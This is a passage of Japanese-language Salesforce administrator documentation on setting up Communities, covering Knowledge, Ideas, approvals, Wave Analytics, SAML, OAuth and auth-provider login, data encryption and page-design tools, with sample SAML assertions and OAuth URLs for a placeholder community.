Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Enterprise Edition および
Unlimited Edition
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ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および更新しようとし
ているコミュニティの
メンバーである

Salesforce ナレッジを設定
するために、記事タイプ
と記事アクションを作成
し、カテゴリグループの
割り当てを変更する
• 「アプリケーションの

カスタマイズ」

および

「Salesforce ナレッジ
の管理」

ユーザライセンスを割り
当てる
• 「内部ユーザの管理」

データカテゴリを作成す
る
• 「データカテゴリの管

理」

Salesforce ナレッジを有効化して、コミュニティユーザがナレッジ記事を参照で
きるようにします。
Salesforce 組織に Salesforce ナレッジライセンスがある場合は、コミュニティを使
用して知識ベースの記事にアクセスできます。Salesforce ナレッジを有効化した
後、次のステップを完了して、コミュニティで記事を参照します。
1. プロファイルを更新します。

• カスタマーコミュニティユーザプロファイル、カスタマーコミュニティ
プラスユーザプロファイル、またはパートナーコミュニティユーザプロ
ファイルをコピーし、コミュニティユーザと共有する記事タイプの「参
照」権限を有効にします。

• [記事] (または [ナレッジ]) タブのタブの表示が [デフォルトで表示] になっ
ていることを確認します。

• 詳細ページの下部にある [プロファイルの編集] をクリックして、新しい
プロファイルを有効にします。

2. 各コミュニティに [ナレッジ] タブを追加します。

メモ: 「Knowledge One」権限のないコミュニティメンバーは、コミュニ
ティからナレッジにアクセスできません。また、Salesforce1 モバイルブ
ラウザアプリケーションやダウンロード可能アプリケーションを使用し
てコミュニティのナレッジにアクセスすることもできません。

3. コミュニティユーザに異なるカテゴリグループ表示を設定する場合は、権限
セット、プロファイル、またはロールにより表示設定を変更します。たとえ
ば、カスタマーコミュニティユーザプロファイルを持つユーザのプロファイ
ルでデータカテゴリの表示を変更することにより、そのユーザが特定のカテ
ゴリグループの記事を表示できなくすることができます。

4. 記事を作成するユーザに、記事を作成したり変更したりする際に選択すべきチャネルオプションがあるこ
とを通知します。カスタマーコミュニティライセンスまたはカスタマーコミュニティプラスライセンスを
持つユーザの場合は [顧客] を、パートナーコミュニティライセンスを持つユーザの場合は [パートナー] を
選択します。適切なチャネルが選択されない場合、記事はコミュニティで公開されません。

関連トピック:

Salesforce ナレッジの概要
知識ベースの構築
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コミュニティでのアイデアの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アイデアの設定をカスタ
マイズする
• 「アプリケーションの

カスタマイズ」

アイデアでは、ユーザのグループがアイデアの投稿、アイデアに対する投票や
コメント投稿を行うことができます。コミュニティでアイデアを有効化すると、
オンラインのわかりやすい方法で、革新的なアイデアを訴求、管理、および紹
介できます。
アイデアの組織全体の設定を管理する手順の概要は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「アイデアの設定」と入力し、[アイ

デアの設定] を選択します。
a. 組織のアイデアを有効にするには、[アイデアの有効化] チェックボック

スをオンにします。
b. 必要に応じて、[テキストの書式設定、画像、リンクを有効にする] をオン

にして、アイデアの HTML エディタを有効化します。アイデアを投稿した
りコメントを付けたりするときに、このエディタによってユーザは WYSIWYG

HTML 編集と画像参照の機能を使用できるようになります。
HTML エディタは一度有効化すると、無効化できません。

c. ページ上部の [カテゴリ] メッセージの下にある[有効化]ボタンをクリック
して、複数選択式の [カテゴリ]項目が有効になっていることを確認しま
す。このボタンは、組織がすでに [カテゴリ] 項目を有効にしている場合は表示されません。

d. アイデアのメンバーが複数のカテゴリを 1 つのアイデアに関連付けられるようにするには、[カテゴリの
有効化] をオンにします。カテゴリの複数選択は一度有効化すると、無効化できません。

e. ユーザが各ゾーンでの活動に基づいてポイントや評価を獲得できるようにするには、[評価を有効化]を
オンにします。

f. [アイデアの半減期 (日数)] 項目に、日数を入力します。
半減期設定により、[人気のあるアイデア] サブタブで古いアイデアが順位を下げ、新しい投票を多く集
めているアイデアに順位を譲るまでの期間が決められます。半減期が短いと、長い場合よりも早く古い
アイデアがページの下の方に移動します。

2. アイデアの項目を定義し、カスタマイズする手順は、次のとおりです。
a. [カテゴリ] 項目と [状況] 項目の選択リスト値を定義します。

コミュニティに含めるゾーンに、カテゴリと状況を追加したことを確認します。
b. 標準項目とカスタム項目に項目レベルセキュリティを設定します。
c. カスタム項目を作成し、入力規則を設定します。

カスタム項目は、[アイデアの投稿] ページや [アイデアの詳細] ページの [追加情報] セクションに表示さ
れます。

d. 必要に応じて、[添付ファイル]項目をレイアウトに追加し、項目レベルセキュリティを設定してユーザ
がファイルをアイデアに追加できるようにします。

3. ゾーン内でエキスパートを有効化するには、該当ユーザを含む公開グループを作成します。
4. 必要に応じて、組織の [アイデアのテーマ] を有効化します。
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5. ゾーンを 1 つ以上作成してアイデアを論理グループに整理し、ゾーンをコミュニティに関連付けます。
6. アイデアページレイアウトをカスタマイズして、目的の情報を表示します。
7. 攻撃的な表現がゾーンで使用されるのを防止する入力規則を作成します。
8. アイデアに対するコメントについて Apex トリガと入力規則を設定します。
9. コミュニティメンバーとモデレータのユーザプロファイルを有効化し、プロファイルがアイデアにアクセ

スできるようにします。
10. [アイデア] タブと [アイデアのテーマ] タブをコミュニティに追加します。

関連トピック:

アイデアの設定のカスタマイズ

コミュニティでの外部ユーザの承認の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

承認プロセスを作成、編
集、削除、またはコピー
する
• 「アプリケーションの

カスタマイズ」

キューを作成または変更
する
• 「アプリケーションの

カスタマイズ」

および

「公開リストビューの
管理」

コミュニティのカスタマーユーザとパートナーユーザは、レコードの承認者と
して割り当てるか、キューに直接追加することができます。これらのユーザは、
レコードの [私の承認] および [承認履歴] 関連リストを参照してそこからアクショ
ンを実行できます。承認をChatterフィードから直接トリガすることもできます。
承認プロセスでは、Salesforce でレコードを承認する方法を自動化します。承認
プロセスでは、承認申請者やプロセスの各ポイントでの実行内容など、承認の
各ステップについて指定します。

メモ:

• 大規模カスタマーポータルや認証 Web サイトなど、大規模ライセンスの
ユーザはレコードを承認できません。

• 従来のポータルライセンスを持つ外部ユーザは、コミュニティのレコー
ドを承認できますが、ポータルのレコードは承認できません。

承認またはキューを設定するときに、参照項目を使用してカスタマーユーザと
パートナーユーザを検索します。
たとえば、承認を設定するときに、自動的にカスタマーユーザを承認者として
割り当てるには、ルックアップリストを使用してユーザを検索および指定しま
す。
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承認ワークフローでメール通知を設定した場合、メールはコミュニティのメンバーシップに基づいて送信され
ます。ユーザが複数の有効なコミュニティのメンバーである場合、メールは最も古い有効なコミュニティから
送信されます。メールに含まれるリンクをクリックすると、ユーザはコミュニティ内の承認に直接移動しま
す。
Salesforce1 では、ユーザが [承認履歴] 関連リストを参照してそこからアクションを実行できますが、承認申請
は送信できません。承認申請を送信するには、Salesforce フルサイトから実行する必要があります。

関連トピック:

承認プロセスの設定
プロセスの自動化の制限
キューの作成
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コミュニティでの Wave Analytics の有効化

エディション

使用可能なインター
フェース: Salesforce Classic

コミュニティを使用可能
なエディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

有料オプションで Wave
Analytics を使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition Developer Edition で
も使用可能

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および更新しようとし
ているコミュニティの
メンバーである

Wave Analytics 設定を変更
する
• 「Wave Analytics の管

理」権限が含まれる
Analytics Cloud - Wave
Analytics Platform 権限
セットライセンス

埋め込み Wave ダッシュ
ボードを参照、探索、お
よび共有する
• 「コミュニティページ

での Wave Analytics の
表示」権限が含まれる
Analytics Cloud - Wave
Community Users 権限
セットライセンス

コミュニティ用の Wave Analytics を有効にすると、パートナーおよびカスタマー
ユーザは、コミュニティの Wave Analytics ダッシュボードの表示や探索を行うこ
とができます。

メモ: カスタマーコミュニティプラスまたはパートナーコミュニティライ
センスを所有するユーザのみがこの機能を使用できます。この機能はコミュ
ニティでサポートされますが、ポータルではサポートされません。

Wave ダッシュボードをコミュニティで共有するには、次の手順を実行します。
1. 「Wave プラットフォームの設定」セクションに示された手順に従って、

Salesforce 組織に Wave Analytics を設定します。
2. コミュニティの Wave を有効化してコミュニティメンバーを設定します。「コ

ミュニティの Wave Analytics の有効化」を参照してください。
3. Wave で、ダッシュボードを作成して Wave アプリケーションに保存します。

コミュニティと共有するためのアプリケーションを指定します。Wave の操作
についての詳細は、「Wave Analytics」を参照してください。

4. Wave ダッシュボードをコミュニティの Visualforce ページに埋め込みます。詳
細は、「Wave Analytics ダッシュボードのVisualforceページへの追加」を参照し
てください。ダッシュボードを新しい Visualforce ページに埋め込む場合、その
ページのタブを作成してコミュニティに追加します。

5. ダッシュボードを含む Wave アプリケーションから、[共有]を選択してコミュ
ニティメンバーにアクセス権を付与します。[共有] ダイアログで、[コミュニ
ティとの共有を有効化] を選択します。アプリケーションを共有するコミュ
ニティパートナーや顧客を招待します。

詳細は、「コミュニティとの Wave の共有」を参照してください。

コミュニティでのフィールドサービスデータの追跡
コミュニティでフィールドサービス業務について顧客およびフィールドサービ
ス技術者に常に最新状況を提供します。[サービス予約]、[商品]、[作業指示]、[作
業指示品目] のフィールドサービスオブジェクトをコミュニティで使用できま
す。以前から使用できたオブジェクト ([納入商品]、[取引先]、[取引先責任者] な
ど) に加えてこれらのオブジェクトを使用することで、顧客は簡単に予約を入れ
ることができ、技術者はコミュニティから直接作業指示を確認できます。
1. コミュニティのフィールドサービスオブジェクトを設定するには、コミュニ

ティビルダーのページマネージャでオブジェクトページを新規作成します。
2. Salesforce オブジェクトを選択するように求めるプロンプトが表示されたら、

フィールドサービスオブジェクト ([サービス予約]、[商品]、[作業指示]、[作業
指示品目]) を選択します。ページマネージャによって、新規オブジェクトペー
ジに 3 種類の関連ページ (レコード詳細ページ、レコードリストページ、関連
リストページ) が自動的に作成されます。
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3. カスタマーサービス (Napili)コミュニティの項目を公開するには、ページエディタでナビゲーションメニュー
に追加します。

関連トピック:

フィールドサービス Lightning

コミュニティセキュリティおよび認証

ユーザを認証してコミュニティの一部のデータを暗号化することで、コミュニティのセキュリティを強化でき
ます。

コミュニティユーザの認証
コミュニティのユーザを認証する方法は複数あります。外部ユーザのデフォルトの認証では、Salesforce で
コミュニティに割り当てられているユーザ名とパスワードを使用してログインします(外部ユーザとは、コ
ミュニティライセンス、カスタマーポータルライセンス、またはパートナーポータルライセンスを持つユー
ザです)。組織の内部ユーザは、単に従業員のログインフローに従い、各自のSalesforceユーザ名およびパス
ワードを使用します。
コミュニティデータの暗号化
ファイル、添付ファイル、および多くの一般的なデータ項目を暗号化することで、コミュニティに一定の
セキュリティを追加できます。

コミュニティユーザの認証
コミュニティのユーザを認証する方法は複数あります。外部ユーザのデフォルトの認証では、Salesforce でコ
ミュニティに割り当てられているユーザ名とパスワードを使用してログインします (外部ユーザとは、コミュ
ニティライセンス、カスタマーポータルライセンス、またはパートナーポータルライセンスを持つユーザで
す)。組織の内部ユーザは、単に従業員のログインフローに従い、各自の Salesforce ユーザ名およびパスワード
を使用します。

メモ: すべての認証オプションは、カスタム HTTPS Web アドレスでも動作します。

コミュニティの SAML の設定
組織で既存のシングルサインオン機能を使用してユーザ認証を簡略化および標準化している場合、この機
能をコミュニティにも拡張できます。
認証プロバイダの設定
[設定] の [認証プロバイダ] ページで認証プロバイダを設定し、コミュニティログインページにそれらを表示
することを選択した場合、外部ユーザは Facebook©、Janrain©、または別のSalesforce組織などからログイン情
報を使用してログインできます。
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OAuth を使用する認証フローの設定
組織でコミュニティとモバイルアプリケーションやデスクトップアプリケーションなどのカスタムブラン
ドアプリケーションを統合する場合、OAuth を使用してブランド名が入ったログインページを作成できま
す。

関連トピック:

コミュニティのログイン、ログアウト、およびセルフ登録ページのカスタマイズ

コミュニティ の SAML の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織で既存のシングルサインオン機能を使用してユーザ認証を簡略化および標
準化している場合、この機能をコミュニティにも拡張できます。
次の情報は、Security Assertion Markup Language (SAML) 認証プロトコルと、ID プロバ
イダを使用して組織のシングルサインオンを設定する方法について理解してい
ることを前提としています。コミュニティに SAML を実装する場合、重要なのは
ログインに関連付けられているコミュニティ URL をシングルサインオンフロー
に使用することです。また、SAML アサーションの POST のコミュニティ URL に
/login が含まれていることを確認します。
これは、ユーザのブラウザ、コミュニティ、および ID プロバイダ間で行われる
SAML 要求と応答の処理の概要です。
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この表では、コミュニティの SAML アサーションに必須なものを、その他の種別の Salesforce ドメインに必須な
ものと比較しています。

コミュニティForce.com サイトポータル標準要件

コミュニティ URLlogin.salesforce.comlogin.salesforce.comlogin.salesforce.comSAML アサーションの
POST が実行される
URL。

いいえはい – 属性として
渡される

はい – 属性とし
て渡される

いいえアサーションで
organization_id

と portal_id は必
須か

メモ: ジャストインタイ
ムプロビジョニングを使
用して、コミュニティで
ポータルユーザを作成す
る場合に必須です。コ
ミュニティ固有のポータ
ルユーザは、portal_id
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コミュニティForce.com サイトポータル標準要件

を除外してプロビジョニ
ングできます。

いいえはい – 属性として
渡される

いいえいいえアサーションで
siteUrl は必須か

次のサンプル SAML アサーションでは、Acme 組織のサンプル顧客コミュニティについて、Recipient として指定
されたコミュニティ URL を表示します。この例は、SAML 設定が 1 つの組織に当てはまります。
<samlp:Response ID="_f97faa927f54ab2c1fef230eee27cba21245264205456"

IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:

entity">https://www.salesforce.com</saml:Issuer>

<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:

status:Success"/>
</samlp:Status>

<saml:Assertion ID="_f690da2480a8df7fcc1cbee5dc67dbbb1245264205456"
IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:

nameid-format:entity">https://www.salesforce.com</saml:Issuer>

<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:

nameid-format:unspecified">saml_portal_user_federation_id
</saml:NameID>

<saml:SubjectConfirmation Method="urn:oasis:names:tc:
SAML:2.0:cm:bearer">

<saml:SubjectConfirmationData NotOnOrAfter=
"2009-06-17T18:48:25.456Z"
Recipient="https://acme.force.com/customers/login/?

saml=02HKiPoin4f49GRMsOdFmhTgi_0nR7BBAflopdnD3gtixujECWpxr9klAw"/>
</saml:SubjectConfirmation>

</saml:Subject>

<saml:Conditions NotBefore="2009-06-17T18:43:25.456Z"
NotOnOrAfter="2009-06-17T18:48:25.456Z">

<saml:AudienceRestriction>
<saml:Audience>https://saml.salesforce.com</saml:Audience>

</saml:AudienceRestriction>
</saml:Conditions>

<saml:AuthnStatement AuthnInstant="2009-06-17T18:43:25.456Z">

<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:
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ac:classes:unspecified
</saml:AuthnContextClassRef>

</saml:AuthnContext>
</saml:AuthnStatement>

</saml:Assertion>
</samlp:Response>

組織に複数の SAML 設定がある場合、前のサンプル SAML アサーションは当てはまりますが、Recipient の違いに
注意してください。
• login の後のスラッシュは不要
• so パラメータは必須で、組織 ID の指定が必要
Recipient は次のようになります。
Recipient="https://acme.force.com/customers/login?so=00DD0000000JsCM"

コミュニティからログアウトすると、シングルサインオン用の SAML を使用して承認された外部ユーザは [ID

プロバイダのログアウト URL]  (コミュニティの SAML で設定されている場合) にリダイレクトされます。SAML

設定にアクセスするには、[設定] から [クイック検索]ボックスに「シングルサインオン設定」と入力し、[シン
グルサインオン設定] を選択します。

関連トピック:

サンプル SAML アサーション
シングルサインオン実装のベストプラクティス
https://developer.salesforce.com/page/Single_Sign-On_with_SAML_on_Force.com

認証プロバイダの設定
[設定] の [認証プロバイダ] ページで認証プロバイダを設定し、コミュニティログインページにそれらを表示す
ることを選択した場合、外部ユーザは Facebook©、Janrain©、または別の Salesforce 組織などからログイン情報を
使用してログインできます。

メモ: 次の情報は、認証プロバイダを使用したシングルサインオンについて理解していることを前提とし
ています。

デフォルトのログインページではなくカスタムの Visualforce ログインページを使用している場合、認証プロバ
イダの詳細ページの [シングルサインオン初期化 URL] をカスタムログインボタンのリダイレクト先 URL とし
て使用します。例:
https://login.salesforce.com/services/auth/sso/orgID/URLsuffix?community=https://acme.force.com/support
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認証プロバイダとして Janrain を使用している場合、サイトにリリースされている Janrain のログインウィジェッ
トに以下を渡すことができます。
janrain.settings.tokenUrl='https://login.salesforce.com/services/authcallback/orgID/URLsuffix'
+'?flowtype=sso&community='+encodeURIComponent('https://acme.force.com/customers');

関連トピック:

外部認証プロバイダ
要求パラメータとクライアント設定 URL の使用
コミュニティのログイン、ログアウト、およびセルフ登録ページのカスタマイズ

OAuth を使用する認証フローの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織でコミュニティとモバイルアプリケーションやデスクトップアプリケーショ
ンなどのカスタムブランドアプリケーションを統合する場合、OAuth を使用して
ブランド名が入ったログインページを作成できます。
次の情報は、OAuth プロトコルとリモートアクセスアプリケーションの認証フ
ローについて理解していることを前提としています。コミュニティでは、ユー
ザ名パスワード OAuth 認証フローおよび SAML アサーションフローを除く使用可
能なすべての認証フローがサポートされます。コミュニティにブランド OAuth

フローを実装する場合、コミュニティ URL を使用するように認証 URL を設定しま
す。認証フローで、ユーザにアプリケーション承認ページが表示されるように
なります。

メモ: セキュリティ対策として、システム管理者が他のユーザとしてログインしている間は、そのユーザ
の OAuth データアクセスを承認できません。たとえば、サードパーティアプリケーションへのシングルサ
インオンなど、ユーザアカウントへの OAuth アクセスを承認できません。

たとえば、次のような認証 URL を使用してユーザを認証するとします。
https://login.salesforce.com/services/oauth2/authorize?
response_type=token&client_id=your_app_id&redirect_uri=your_redirect_uri

login.salesforce.com ホスト名をコミュニティ URL へのフルパスで置き換えます。
https://acme.force.com/customers/services/oauth2/authorize?
response_type=token&client_id=your_app_id&redirect_uri=your_redirect_uri

正常に実装されていれば、この URL によりユーザはコミュニティログインページに移動します。アプリケー
ションを認証したら、ユーザアクセストークンを設定し、将来の認証に備えてトークンを更新します。トーク
ンエンドポイントの要求で、次のようにホストをコミュニティで置き換えます。
https://acme.force.com/customers/services/oauth2/token

メモ: access_tokenを取得したら、認証ヘッダー要求でベアラートークンとして渡すことができます。
コミュニティへの REST API コールの例を次に示します。
https://acme.force.com/customers/services/data/v32.0/ -H "Authorization: Bearer
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00D50000000IehZ\!AQcAQH0dMHZfz972Szmpkb58urFRkgeBGsxL_QJWwYMfAbUeeG7c1E6
LYUfiDUkWe6H34r1AAwOR8B8fLEz6n04NPGRrq0FM"

関連トピック:

OAuth によるアプリケーションの認証
https://developer.salesforce.com/page/Digging_Deeper_into_OAuth_2.0_on_Force.com

https://developer.salesforce.com/page/Using_OAuth_to_Authorize_External_Applications

salesforce_chatter_rest_api.pdf

コミュニティデータの暗号化
ファイル、添付ファイル、および多くの一般的なデータ項目を暗号化することで、コミュニティに一定のセ
キュリティを追加できます。

メモ:  Spring '17 以降、Shield Platform Encryption で暗号化データがマスクされなくなります。これは、暗号化
データを操作するための一部のユーザの機能に影響する可能性があります。特定のユーザに表示されな
いようにしたいデータがある場合、項目レベルセキュリティ設定 (ページ 627)、レコードアクセス設定、
およびオブジェクト権限 (ページ 630)に再確認します。

次の点に注意してください。
• コミュニティのデータは暗号化できますが、ポータルのデータは暗号化できません。
• 従来の暗号化を使用している場合、暗号化されたカスタム項目のデータはマスクされたままです。
• データが暗号化されているかどうかにかかわらず、コミュニティに固有の個人識別情報 (PII) の設定が適用

されます。
• データの暗号化によってコミュニティユーザの操作性が変わることはありません。ただし、[取引先名] 項

目を暗号化すると、システム管理者に表示されるユーザのロールが影響を受けます。通常、コミュニティ
ユーザのロール名は、ユーザの取引先名とユーザプロファイル名の組み合わせで表示されます。[取引先名]

項目を暗号化すると、取引先名の代わりに取引先 ID が表示されます。
たとえば、[取引先名] 項目が暗号化されていない場合、「Customer User」というプロファイルで「Acme」取
引先に属するユーザのロールは [Acme カスタマーユーザ] となります。[取引先名] が暗号化されている場
合、ロールは [001D000000IRt53 カスタマーユーザ] のように表示されます。

関連トピック:

Shield プラットフォームの暗号化で Salesforce データを保護

デザインとページ管理

コミュニティの設計戦略の計画
コミュニティで標準のタブとブランド設定ではなくカスタムページを使用することを選択した場合、コミュニ
ティビルダーと Force.com のどちらを使用するかを決定する必要があります。決定したら、次のセクションを
使用してコミュニティページをカスタマイズします。
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• Visualforce および Force.com サイトの使用
• テンプレートと組み合わせたコミュニティビルダーの使用
• テンプレートのないコミュニティビルダー (Site.com) の使用
さらに、コミュニティの次の領域もカスタマイズできます。
• カスタマイズしたコミュニティ HTML ヘッダーへのグローバル検索ボックスの追加 (ページ 3931)

• コミュニティのカスタムドメインの設定
• Chatter タブの名前変更

コミュニティビルダーまたは Force.com サイトの選択
コミュニティの新規ページを追加したり、既存のページをカスタマイズしたりする場合、Force.comサイトまた
はコミュニティビルダーを使用できます。どちらのオプションを使用しても、ランディングページやマーケ
ティングページなどブランド設定された公開ページと、コミュニティメンバーのみがアクセスできる非公開の
カスタムページを作成できます。
それでは、コミュニティをカスタマイズする場合、どちらのオプションを使用すればよいのでしょうか。これ
は、作業する人のスキルと、組織のニーズによって決まります。カスタマイズを完全に制御するために、
Force.com ページとコミュニティビルダーページを組み合わせて使用することも可能です。

コミュニティビルダー
コミュニティビルダーは、直観的に操作できる便利なコミュニティカスタマイズツールです。コミュニティビ
ルダーを使用すると、事前設定されたテンプレートに基づいてコミュニティを作成し、さらにブランド設定の
適用、ページの編集、テンプレートの更新、変更の公開をすべて 1 つの使いやすいインターフェースから実行
できます。
コミュニティビルダーでは、次のことができます。
• いずれかのセルフサービステンプレート (Koa、Kokua、カスタマーサービス (Napili)) を使用した応答性の高い

セルフサービスコミュニティの容易な作成
• Aloha テンプレートを使用した設定可能なアプリケーションランチャーの作成
• ピクセル単位まで完璧なブランド情報入りページの設計
• 誰でもアクセスできる公開ページの作成やコミュニティ内のタブとして追加できる非公開ページの追加
• 再利用可能なページ要素のドラッグアンドドロップを使用した迅速な構築と反復処理
• 用意されたフォームを使用した、Web-to-リードフォームの作成または顧客のフィードバックの収集
• 組織のデータを使用した、製品カタログまたはその他のリストのようなデータ駆動のページの作成
• 追加設定オプションが備えられた Web コンテンツ管理システム、Site.com Studio でのコミュニティのホーム

ページおよびマルチ言語サポートの設定。Site.com Studio には [コミュニティ管理] から簡単にアクセスでき
ます。

Force.com サイト
Visualforce の使用経験がある開発者に適した Force.com サイトでは、分析、ワークフローおよび承認、プログラ
マブルロジックなどの Force.com の機能を継承して、カスタムページおよび Web アプリケーションを構築でき
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ます。したがって、Apexおよび API を使用してサイトをプログラム的に作成したい場合には、Force.com サイト
の利用が適しています。Force.com では、次のことができます。
• 誰でもアクセスできるように公開され、ブランド化されたページを作成します。
• Visualforce を利用して、コミュニティ内のタブとして追加できる非公開ページを作成します。
• Apex コードを使用して、自分のコントローラまたはコントローラの拡張機能を作成します。
• カスタムログインまたはセルフ登録ページを作成します。
• 行動管理アプリケーションのような動的 Web アプリケーションを構築します。

機能のまとめ
どの製品を選択すればよいか、わかりましたか? 次の表を参照して、各製品の機能の詳細を確認してください。

Force.com サイトコミュニティビルダー機能

公開ページ

コミュニティテンプレート (Koa、Kokua、カスタマー
サービス (Napili)、Aloha)*

認証ページ*

Visualforce ページ

基本のログイン、ログアウト、セルフ登録、および
エラーページ

ドラッグアンドドロップ環境

再利用可能なコンポーネント

ピクセル単位まで完璧な設計

IP 制限

ケース、リード、および商談などのデータへのアク
セス

標準搭載のフォーム

CMS

プログラムを使用したページ作成 (Apex、API、および
コントローラを使用)

Web アプリケーション

分析、レポート、ワークフロー

Force.com プラットフォームのフル機能
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* コミュニティユーザのみがコミュニティビルダーで利用可能

関連トピック:

テンプレートと組み合わせたコミュニティビルダーの使用
テンプレートのないコミュニティビルダー (Site.com) の使用
Visualforce および Force.com サイトの使用

テンプレートと組み合わせたコミュニティビルダーの使用
コミュニティビルダーとセルフサービス用コミュニティテンプレートを使用すれば、モバイルデバイスに適し
たカスタムコミュニティを作成、ブランド設定、公開できます。テンプレートを選択してコミュニティをすば
やく開始し、会社のブランド設定に合わせてページのスタイルを設定できます。
コミュニティビルダーとテンプレートを使用すると、次のことができます。
• 会社のブランド設定に合わせて簡単にコミュニティのスタイルを設定する。
• コミュニティビルダーでコミュニティページおよびコンポーネントを編集し、ページのデザインとコンテ

ンツをカスタマイズする。
• コミュニティをプレビューし、さまざまなデバイスに正しく表示されることを確認する。
• 変更を公開してコミュニティの全員が使用できるようにする。
コミュニティビルダーを使用して、次のテンプレートから作成されたコミュニティをカスタマイズできます。
Kokua

顧客との簡単なやりとりの処理に最適なグラフィックベースのコミュニティです。コミュニティメンバー
は記事の検索と表示、サポートへの問い合わせを行うことができます。ナレッジを必要とし、ケースをサ
ポートします。

Koa

顧客との簡単なやりとりの処理に最適なテキストベースのコミュニティです。コミュニティメンバーは記
事の検索と表示、サポートへの問い合わせを行うことができます。ナレッジを必要とし、ケースをサポー
トします。

カスタマーサービス (Napili)

高機能で応答性の高いセルフサービステンプレートで、ユーザがコミュニティへの質問の投稿、記事の検
索および表示、コラボレーション、ケースの作成によるサポートエージェントへの問い合わせを行うこと
ができます。ナレッジ、Chatter の質問、およびケースをサポートします。

Aloha

アプリケーションランチャーの設定可能なテンプレートで、ユーザがシングルサインオン認証 (ソーシャル
ログインを含む) を使用してアプリケーションをすばやく見つけ、アクセスできます。

コミュニティビルダーにアクセスし、コミュニティのカスタマイズを続行する、またはテンプレートバージョ
ンの更新を行う手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「すべてのコミュニティ」と入力し、[すべてのコミュニティ] を選

択します。
2. コミュニティ名の横にある [[ビルド]]または [コミュニティワークスペース] > [ビルダー]をクリックします。
3. コミュニティビルダーでは、次のことができます。
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コミュニティにブランド設定する (ページ 3997)。•

• コミュニティページおよびページコンポーネントを編集する。

Kokua、Koa、およびカスタマーサービス (Napili) テンプレートの使用についての詳細は、「テンプレートを使用
したコミュニティの作成」を参照してください。

関連トピック:

コミュニティビルダーまたは Force.com サイトの選択

テンプレートのないコミュニティビルダー (Site.com) の使用
各コミュニティには、関連付けられた Site.com サイトが 1 つあり、ブランド情報入りカスタムページをコミュ
ニティに追加できます。デフォルトでは、Site.com ページは公開され、ログインは不要ですが、コミュニティ
メンバーのみがアクセスできる非公開ページを作成することもできます。
Site.com の使用についての詳細は、オンラインヘルプを参照してください。

ご利用になる前に
「コミュニティの作成および設定」権限を持つコミュニティユーザには、コミュニティの Site.com サイトへの
サイト管理者のフルアクセス権が自動的に付与されます。権限のないコミュニティユーザがサイトを編集でき
るようにするには、Site.com Publisher または Site.com Contributor 機能ライセンスを購入して割り当て、サイトレベ
ルでユーザロールを割り当てる必要があります。

ヒントと検討事項
• 「コミュニティの作成および設定」権限を持つコミュニティユーザには、コミュニティのSite.comサイトの

サイト管理者ロールが割り当てられます。ただし、これらのユーザは、Site.com Studio の [概要] タブの [ユー
ザロール] セクションには表示されません。

• Site.com のコミュニティサイトを作成、削除、複製することはできません。
• データの繰り返しやフォームなどのデータバインドコンポーネントを使用している場合、リストされるオ

ブジェクトをサイト訪問者が使用できない場合があります。認証された訪問者の場合、公開ページおよび
非公開ページのオブジェクトアクセスは、各自のユーザプロファイルで制御されます。認証されていない
訪問者の場合、公開ページのオブジェクトアクセスは、サイトのゲストユーザプロファイルで制御されま
す。

• Site.comの認証されたコミュニティページにフォームを追加する場合、[所有者 ID] 項目を必要とするSalesforce

オブジェクトに現在のユーザを設定します。(デフォルトのゲストユーザではなく) 現在のユーザを設定す
ると、フォームの送信時に認証されたユーザを識別できます。現在のユーザを [所有者 ID] 項目に設定する
には、フォームの項目を選択し、[プロパティ] ペインの [項目プロパティ] にある [設定]をクリックします。
次に、ソースとして [グローバルプロパティ] を選択し、値として [現在のユーザ ID] を選択します。

• [サイトの設定] で Site.com コミュニティサイトに指定するホームページ、404 ページ、ログインページ、お
よびセルフ登録ページでは、Site.com コミュニティサイトのデフォルトページを設定します。[管理ページ]

および [管理ログイン & 登録] の [コミュニティ管理] で別の URL を指定しない限り、これらのデフォルト URL

が使用されます。コミュニティのエラーページは、Force.com の [設定] の [エラーページ] で指定します。
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• Site.comコミュニティサイトが無効な場合、ユーザは、[コミュニティ管理]の [ページ] で定義した [サービス
は利用できません] ページにリダイレクトされます。

• 寄稿者のビューは、デフォルトでSite.comコミュニティサイトでは使用できません。ただし、Site.com Contributor

ライセンスを使用して、特定のユーザに寄稿者アクセス権を付与できます。詳細は、Site.comヘルプの「機
能ライセンスについて」を参照してください。または、サイトの URL に ?iscontrib を追加することで、
ユーザが寄稿者として Site.com コミュニティサイトをプレビューできます。例:
https://sitestudio.na1.force.com/?iscontrib

Site.com を使用したコミュニティのカスタマイズ
使用すべきコミュニティテンプレートは?

コミュニティテンプレートにより、顧客にタブレット、モバイルデバイス、またはデスクトップで視覚的
および機能的に同じ環境を提供するコミュニティを作成できます。
ブランド情報入りページの作成の概要
コミュニティサイトを作成すると、Salesforceで自動的に新しいSite.comサイトが作成されて、コミュニティ
に関連付けられます。
Site.com 認証の概要
現在のコミュニティユーザ情報の表示
Site.com デザイナがコミュニティサイトの認証ページを作成する場合、CurrentUser 名前空間式にアクセ
スすることで現在のユーザ情報を表示できます。
現在のユーザ情報の表示に使用できる式
